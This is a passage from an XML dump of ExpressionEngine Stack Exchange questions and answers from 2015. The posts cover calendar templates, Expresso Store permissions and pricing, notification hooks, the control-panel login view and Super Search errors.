&amp;lt;/blockquote&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;!-- .module_cont --&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;                            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;span12 module_number_19 module_cont pb0 module_divider&quot;&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- .module_cont --&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;                            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;span12 module_number_14 module_cont pb60 module_gallery photo_gallery&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;bg_title&quot;&amp;gt;&amp;lt;h5 class=&quot;headInModule&quot;&amp;gt;Gallery&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;div class=&quot;list-of-images images_in_a_row_3&quot;&amp;gt;&#xA;                                        {sale_images}&#xA;                                            {if image:no_images}&#xA;                                                &amp;lt;div class=&quot;gallery_item&quot;&amp;gt;&#xA;                                                    &amp;lt;div&amp;gt;There are currently no images for this sale uploaded. Please check back.&amp;lt;/div&amp;gt;&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                            {/if}&#xA;                                            &amp;lt;div class=&quot;gallery_item&quot;&amp;gt;&#xA;                                                &amp;lt;div class=&quot;gallery_item_padding&quot;&amp;gt;&#xA;                                                    &amp;lt;div class=&quot;gallery_item_wrapper&quot;&amp;gt;&#xA;                                                        &amp;lt;a href=&quot;{image:url}&quot; class=&quot;photozoom&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                                        &amp;lt;img class=&quot;gallery-stand-img&quot; src=&quot;{image:url:small}&quot; alt=&quot;{image:title}&quot; /&amp;gt;&#xA;                                                        &amp;lt;div class=&quot;gallery_fadder&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                                        &amp;lt;span class=&quot;featured_items_ico&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                                    &amp;lt;/div&amp;gt;&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                        {/sale_images}&#xA;                                        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&amp;lt;!-- .module_cont --&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;                            &amp;lt;div class=&quot;blogpost_footer&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;blogpost_share&quot;&amp;gt;&#xA;                                    {exp:sharethis:button&#xA;                                        services=&quot;facebook|pinterest|twitter|googleplus&quot;&#xA;                                        display=&quot;hcount&quot;&#xA;                                        title=&quot;{title}&quot;&#xA;                                        url=&quot;{current_url}&quot;&#xA;                                    }&#xA;                                    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;!--.blog_post_page --&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!-- /Blog Post --&amp;gt;&#xA;            {/events}&#xA;        {/if}&#xA;    {/display_each_day}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the embed template: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events&#xA;    event_id=&quot;{embed:event_id}&quot;&#xA;    event_limit=&quot;1&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    {occurrences}&#xA;        &amp;lt;span style=&quot;color:#7e7f81;&quot;&amp;gt;{occurrence_start_date format=&quot;%l %m-%d-%Y&quot;} &amp;amp;mdash; {occurrence_start_date format=&quot;%g:%i%a&quot;} - {occurrence_end_date format=&quot;%g:%i%a&quot;}&amp;lt;/span&amp;gt;&amp;lt;/br&amp;gt;&#xA;    {/occurrences}&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This achieved the data extraction I was after for the date ranges that differed. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2015-09-17T20:46:46.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34065" PostTypeId="2" ParentId="31304" CreationDate="2015-09-17T20:50:30.497" Score="0" Body="&lt;p&gt;I was not able to get the data out as expected using the &lt;code&gt;{events}&lt;/code&gt; tag pair inside of the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag pair either. Unfortunately, as Solspace already mentioned, I had to use an embed template and pass in the &lt;code&gt;{event_id}&lt;/code&gt; to the embed and run &lt;code&gt;{exp:calendar:events}&lt;/code&gt; in the embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I left a full example in my answer just now on my original question here. (It seems way too much info to paste in here. I will if need be though.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/34050/display-a-single-calendar-event-that-spans-the-current-date/34064#34064&quot;&gt;Display a single Calendar Event that spans the current date&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-09-17T20:50:30.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34066" PostTypeId="1" CreationDate="2015-09-17T22:33:34.610" Score="0" ViewCount="56" Body="&lt;p&gt;Should it be possible to send a notification in mx notify control if the status of an entry changes from x to y?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get it to send if an entry with status x is updated but I only want it to send when the status specifically changes from x to y.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2016-05-20T03:50:58.023" Title="Possible to send message for status change" Tags="|mx-notify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34067" PostTypeId="2" ParentId="34066" CreationDate="2015-09-18T00:34:44.670" Score="0" Body="&lt;p&gt;It's a simple addon, if you don't see that option, it's probably not built in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quickest solution would be to roll a quick extension and hook it to the &lt;code&gt;entry_submission_ready&lt;/code&gt; hook. Then check statuses, and use the email class to shoot out an email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry-submission-ready&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry-submission-ready&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/email.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/email.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something simple like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_extension_entry_submission_ready($meta, $data, $autosave)&#xA;{&#xA;    // submitted updated status&#xA;    $status_new = $meta[&quot;status&quot;];&#xA;&#xA;    // get previous status&#xA;    $status_old = ee()-&amp;gt;db-&amp;gt;select('status')&#xA;                          -&amp;gt;from('channel_titles')&#xA;                          -&amp;gt;where('entry_id', $meta['entry_id'])&#xA;                          -&amp;gt;get()-&amp;gt;row_array();&#xA;&#xA;    $status_old = $status_old['status'];&#xA;&#xA;    // do we meet your conditions?&#xA;    if ($status_old == &quot;desired_old_status&quot; &amp;amp;&amp;amp;&#xA;        $status_new == &quot;desired_new_status&quot;)&#xA;    {&#xA;        // send email using the email class        &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if that hook hits new submissions (which wouldn't have an entry_id), so you'll have to play around to get it right (a few extra conditionals so you can bail if it's a new entry).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-18T00:34:44.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34068" PostTypeId="1" AcceptedAnswerId="34069" CreationDate="2015-09-18T00:40:43.510" Score="0" ViewCount="11" Body="&lt;p&gt;As a member of &lt;code&gt;Super Admins&lt;/code&gt;, I can access Store's Settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OfBA6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfBA6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new group based on an existing on &lt;code&gt;Super Admins&lt;/code&gt; and added a registered a user under it. When I tried to access Store's Settings, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ukwwG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukwwG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what's going on? Why can't another Member Group access Store's Settings?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-09-18T01:38:12.617" Title="Store: who can access &quot;Settings?&quot;" Tags="|expresso-store|add-on|module|addons|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34069" PostTypeId="2" ParentId="34068" CreationDate="2015-09-18T01:38:12.617" Score="1" Body="&lt;p&gt;You will have to login with your super admin account and go to the settings panel. From there you will need to navigate to the security panel. You should see your member group on the right hand side and you will need to check the boxes for the permissions you want to grant to that member group. (as seen in the picture below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XVR4W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVR4W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-09-18T01:38:12.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34070" PostTypeId="2" ParentId="34054" CreationDate="2015-09-18T01:49:30.627" Score="0" Body="&lt;p&gt;As mentioned in the linked post this is not built in. You have a few options you could create an extension if you are comfortable with PHP. This would be hands down the best approach and most easy to maintain for your clients down the road as they would simply be able to enter the prices per member group as they would normally enter prices in Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option as others have mentioned would be to have 2 channels with a product description and another channel with product prices per member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another option is using modifier names and conditionals in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last option would be to enable User Defined Prices in the particular channel. Then you could build out Matrix/Grid fields for each of your modifiers with both normal and trade prices(if they modifiers need both pricing. Then in your template you would need to use the &lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#input_custom_modifier_name_name&quot; rel=&quot;nofollow&quot;&gt;input custom modifiers&lt;/a&gt; to allow users to select the modifiers. Then you would need to write some javascript to calculate the totals based upon the modifiers and the member group and pass that to a hidden price field. I am doing something very similar on a project with great success.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-09-18T01:49:30.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34071" PostTypeId="2" ParentId="32836" CreationDate="2015-09-18T05:27:01.450" Score="0" Body="&lt;p&gt;I don't know if javascript can be an option for you but that should be fairly easy. If you're using jQuery, maybe you can try &lt;a href=&quot;http://bartaz.github.io/sandbox.js/jquery.highlight.html&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2015-09-18T05:27:01.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34072" PostTypeId="2" ParentId="32775" CreationDate="2015-09-18T05:30:14.193" Score="2" Body="&lt;p&gt;If using HTML5, you just need to add the &lt;a href=&quot;http://caniuse.com/#feat=download&quot; rel=&quot;nofollow&quot;&gt;download attribute&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2015-09-18T05:30:14.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34073" PostTypeId="2" ParentId="33939" CreationDate="2015-09-18T06:34:12.977" Score="0" Body="&lt;p&gt;First thing: &lt;strong&gt;Admin Area&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need is an accessory. You'll have to write one yourself. I can throw some pseudocode at you for the logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/accessories.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/accessories.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_sections()&#xA;{&#xA;    /*&#xA;    Here we do a few things&#xA;&#xA;    First, I would recommend checking if we are on the admin page for&#xA;    Expresso store. I don't know the plugin, so I don't know it's module URLs or whatever.&#xA;&#xA;    https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html#the-control-panel-file-mcp-download-php&#xA;&#xA;    You'd want something like:&#xA;&#xA;    */   &#xA;    if (ee()-&amp;gt;input-&amp;gt;get('method') != 'expresso_store')&#xA;    {&#xA;        // bail, we aren't even looking at an Expresso Store CP page&#xA;        return false;&#xA;    }&#xA;&#xA;    /*&#xA;    Then, if we aren't bailed, let's insert some jQuery to modify that input&#xA;    */&#xA;&#xA;    ee()-&amp;gt;cp-&amp;gt;add_to_foot('&#xA;        &amp;lt;script&amp;gt;&#xA;        $(document).ready(function(){&#xA;&#xA;           /* &#xA;           jQuery here to replace the input you're concerned about.&#xA;           Replace it with a &amp;lt;select&amp;gt; tag with your controlled &amp;lt;option&amp;gt;s.&#xA;           */&#xA;&#xA;        });&#xA;        &amp;lt;/script&amp;gt;&#xA;    ');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second thing: &lt;strong&gt;Edited via-admin shipping options not showing up via &lt;code&gt;order&lt;/code&gt; tag&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea. But let's start with the basics... do you have any caching in place? This data is obviously stored in a database table. After you change a shipping option via the CP, can you reload the same CP page and verify the changes? Also, can you whip a database tool and investigate the Expresso Store DB tables and look at what gets changed to the order when you edit it via the CP? Sorry for asking so many questions, I don't have this addon to play with.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-18T06:34:12.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34074" PostTypeId="2" ParentId="34054" CreationDate="2015-09-18T08:13:43.670" Score="0" Body="&lt;p&gt;I have managed to do what I need using product modifiers and some conditional template logic based on the logged in member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic checks the member group and if the visitor is a &quot;Trade&quot; member then it includes a hidden form field containing the option data within the products tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the {exp:store:product} tag pair...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- add a price modifier for trade pricing --}&#xA;{if member_group=='6'}&#xA;    {modifiers}&#xA;        {modifier_options}&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;{modifier_input_name}&quot; value=&quot;{option_id}&quot;&amp;gt;&#xA;        {/modifier_options}&#xA;    {/modifiers}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then display the price using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group=='6'}&#xA;    {modifiers}&#xA;        {modifier_options}&#xA;            {if option_name==&quot;Trade&quot; || option_name==&quot;trade&quot;}&#xA;                &amp;lt;h2 class=&quot;product__price&quot;&amp;gt;Trade Price: &amp;amp;pound;{exp:math formula=&quot;{price_inc_mod_val} * 1.2&quot; decimals=&quot;2&quot; round=&quot;up&quot; trailing_zeros=&quot;yes&quot;}&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;h3 class=&quot;product__price--ex-tax&quot;&amp;gt;Ex Tax: &amp;amp;pound;{price_inc_mod_val}&amp;lt;/h3&amp;gt;&#xA;            {/if}&#xA;        {/modifier_options}&#xA;    {/modifiers}&#xA;{if:else}&#xA;    &amp;lt;h2 class=&quot;product__price&quot;&amp;gt;Price: &amp;amp;pound;{exp:math formula=&quot;{sundries-details:price_val} * 1.2&quot; decimals=&quot;2&quot; round=&quot;up&quot; trailing_zeros=&quot;yes&quot;}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h3 class=&quot;product__price--ex-tax&quot;&amp;gt;Ex Tax: &amp;amp;pound;{price_val}&amp;lt;/h3&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The math plugin is so I can enter prices without tax in the backend but display them with taxes on the front end.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to be working OK but I haven't fully tested it yet. My concern is that it requires the client to set a specifically named option. It's also a bit crappy on the UI front for the client entering prices. But I think I can get away with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can find a way to preset a product option then I'd be a lot happier.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-09-18T08:13:43.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34075" PostTypeId="1" AcceptedAnswerId="34077" CreationDate="2015-09-18T12:48:55.010" Score="1" ViewCount="1252" Body="&lt;p&gt;I need to add some logic for a plugin in the CMS login page but I can't find the correct template to modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find the template used by /admin.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have I tried so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that when it fails to login it goes to &lt;code&gt;admin.php?/cp/login&lt;/code&gt; this I assume this should be template path name? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YRkS3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YRkS3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, I tried going to &lt;code&gt;Design &amp;gt; Themes &amp;gt; Member Profile Templates &amp;gt; Default&lt;/code&gt; and select &lt;code&gt;Login Form&lt;/code&gt; I deleted all content from there but still when I go to &lt;code&gt;/admin.php&lt;/code&gt; i see the form. I've also done the same with the &lt;code&gt;Agile Records&lt;/code&gt; but still no luck in making any changes in the template. I've cleared cache after each modification to rule out caching problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My other guess that is because we are using an in-house custom theme the system is using that and not the system default one. but when I go to the custom theme folder, there is no login custom page. I can however see that we are using custom CSS but no custom login html form, thus the system cant be using a custom one.&lt;/p&gt;&#xA;" OwnerUserId="6670" LastEditorUserId="6670" LastEditDate="2015-09-18T13:00:08.377" LastActivityDate="2015-09-18T13:46:09.713" Title="Where is the CMS login page template?" Tags="|templates|login|themes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34077" PostTypeId="2" ParentId="34075" CreationDate="2015-09-18T13:46:09.713" Score="1" Body="&lt;p&gt;Well, the view file you're looking for is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;your_web_root/system/expressionengine/views/account/login.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's &lt;strong&gt;never&lt;/strong&gt; recommended that you edit a core file. See if you can check your custom theme and override it somehow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/cp_styles/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/cp_styles/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, you could possible use an extension hook to modify view output, or craft an accessory to add JavaScript/jQuery to the login page. I'm not sure if accessories are triggered on the login controller.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-18T13:46:09.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34079" PostTypeId="2" ParentId="33988" CreationDate="2015-09-18T14:20:48.747" Score="0" Body="&lt;p&gt;I normally use something else for this kind of cases. Maybe a bit more cunbersome, but works great. You'll need Switchee for this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#^P(\\d+)$#|''&quot;}&#xA;        segment_1 is empty, get the main page&#xA;    {/case}&#xA;    {case default=&quot;Yes&quot;}&#xA;        segment_1 is not empty, so let's first see if there is any more segments  &#xA;        {switchee variable=&quot;{triggers:segment_2}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;#^P(\\d+)$#|''&quot;}&#xA;            No, the second segment is empty. display the region info&#xA;            {/case}&#xA;            {case default=&quot;Yes&quot;}&#xA;                Segment_2 is not empty, check if there are other segments first&#xA;                {switchee variable=&quot;{triggers:segment_3}&quot; parse=&quot;inward&quot;}&#xA;                    {case value=&quot;#^P(\\d+)$#|''&quot;}&#xA;                    Segment_3 is empty, display the wellington info&#xA;                        {exp:channel:entries disable=&quot;member_data|pagination&quot; url_title=&quot;{segment_2}&quot; limit=&quot;1&quot; channel=&quot;landing_page&quot; cache=&quot;yes&quot; refresh=&quot;1500&quot;}&#xA;                        {/exp:channel:entries}&#xA;                    {/case}&#xA;                    {case default=&quot;Yes&quot;}&#xA;                        Segment_3 is not empty, display the city info (Kitchen)&#xA;                        {exp:channel:entries disable=&quot;member_data|pagination&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; channel=&quot;landing_page&quot; cache=&quot;yes&quot; refresh=&quot;1500&quot;}&#xA;                        {/exp:channel:entries}&#xA;                    {/case}&#xA;                {/switchee}&#xA;            {/case}&#xA;        {/switchee}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="215" LastActivityDate="2015-09-18T14:20:48.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34080" PostTypeId="1" CreationDate="2015-09-18T14:56:44.333" Score="0" ViewCount="51" Body="&lt;p&gt;i am having a small problem with the super search add on. When i use a single word to perform a search everything is just fine; however when i try a sentence (children in need) for example i am getting lots of error messages in the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Array to string conversion&#xA;Filename: libraries/super_search_lib.php&#xA;Line Number: 682&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the above comes up about 100 times followed by&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/happysimon/webapps/adcs/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 475&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try yourself at &lt;a href=&quot;http://adcs.happytesting.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://adcs.happytesting.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea anyone what could cause this messages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind Regards&lt;/p&gt;&#xA;" OwnerUserId="6557" LastActivityDate="2015-09-18T14:56:44.333" Title="Errors while performing searches - SUPER SEARCH" Tags="|supersearch|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34081" PostTypeId="1" CreationDate="2015-09-18T15:00:41.990" Score="0" ViewCount="35" Body="&lt;p&gt;Super Search 2.2.3&#xA;ExpressionEngine 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running into with Super Search where a search string containing '24/7' throws an error that appears to be related to the relevancy portion of the module code.  Googling has shown a (very) old changelog item related to forward slashes in search code, but nothing recent and nothing that appears to be the same as my problem.  Here's the error I end up with - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: preg_match_all(): Unknown modifier '7'&#xA;&#xA;Filename: super_search/mod.super_search.php&#xA;&#xA;Line Number: 8825&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like the slash is breaking something in the code, and since the 7 is the next character that's what's showing up in the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the results loop that's leading to the error - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;    channel=&quot;channelname&quot;&#xA;    status=&quot;statusname&quot;&#xA;    relevance=&quot;channel-title=5+channel-type=5+channel-keywords=3+channel-description=2+channel-user-review=1&quot;&#xA;    redirect_post=&quot;no&quot;&#xA;    category_indicator=&quot;category_id&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone else run into this problem?  It feels just edge-case-y enough to have slipped through without someone else seeing it, a combination of searching for a slash and using the relevance parameter.  Or I could be missing something simple.&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2016-09-26T02:49:03.397" Title="Super Search Forward Slash in Search Bug" Tags="|solspace|supersearch|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34083" PostTypeId="1" CreationDate="2015-09-18T16:07:35.583" Score="0" ViewCount="38" Body="&lt;p&gt;I have a scenario I have two channels A and channel B. Both channel has one common select optional field let say c_a (option1,option2...option2) and b_a (option1,option2...option2)  . I want to compare the selective field when both selective option match then show the desire data.&lt;/p&gt;&#xA;" OwnerUserId="6671" LastActivityDate="2015-09-18T16:07:35.583" Title="Compare two channel field name" Tags="|channel|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34084" PostTypeId="1" AcceptedAnswerId="34104" CreationDate="2015-09-18T16:21:00.630" Score="0" ViewCount="91" Body="&lt;p&gt;This doesn't seem to be part of EE core, which - honestly - surprises me.  Maybe I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to limit membership periods by setting an expiry date on specific members (not the group), when approved by the admin in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe this is an unusual requirement, how have you all handled this in your installations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The installation in question is version 2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much for viewing.&lt;/p&gt;&#xA;" OwnerUserId="202" LastEditorUserId="202" LastEditDate="2015-09-21T15:12:43.493" LastActivityDate="2015-09-21T15:12:43.493" Title="What's the best way to handle limited membership periods and/or expiry?" Tags="|members|zoo-visitor|expire|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34085" PostTypeId="1" AcceptedAnswerId="34087" CreationDate="2015-09-18T18:23:08.703" Score="0" ViewCount="83" Body="&lt;p&gt;I have a system that kind of &quot;merges&quot; ExpressionEngine and Magento. They are coupled in a number of ways and one of them is that we call Mage functionality from EE plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has just started happening and I can't determine when or where it is occuring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anymoe help out here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[18-Sep-2015 13:36:30] PHP Fatal error:  Uncaught exception 'Exception' with message 'Warning: include(CI/Exceptions.php): failed to open stream: No such file or directory  in /srv/www/htdocs/store/lib/Varien/Autoload.php on line 93' in /srv/www/htdocs/store/app/code/core/Mage/Core/functions.php:245&#xA;Stack trace:&#xA;#0 /srv/www/htdocs/store/lib/Varien/Autoload.php(93): mageCoreErrorHandler(2, 'include(CI/Exce...', '/srv/www/htdocs...', 93, Array)&#xA;#1 /srv/www/htdocs/store/lib/Varien/Autoload.php(93): Varien_Autoload::autoload()&#xA;#2 [internal function]: Varien_Autoload-&amp;gt;autoload('CI_Exceptions')&#xA;#3 [internal function]: spl_autoload_call('CI_Exceptions')&#xA;#4 /srv/www/htdocs/na_cms/codeigniter/system/core/Common.php(135): class_exists('CI_Exceptions')&#xA;#5 /srv/www/htdocs/na_cms/codeigniter/system/database/DB_driver.php(1172): load_class('Exceptions', 'core')&#xA;#6 /srv/www/htdocs/na_cms/codeigniter/system/database/DB_driver.php(330): CI_DB_driver-&amp;gt;display_error(Array)&#xA;#7 /srv/www/htdocs/na_cms/expressionengine/libraries/Template.php(2806): CI_DB_driver-&amp;gt;query('SE in /srv/www/htdocs/store/app/code/core/Mage/Core/functions.php on line 245&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-09-19T00:24:58.823" Title="CI Exception handler and Magento 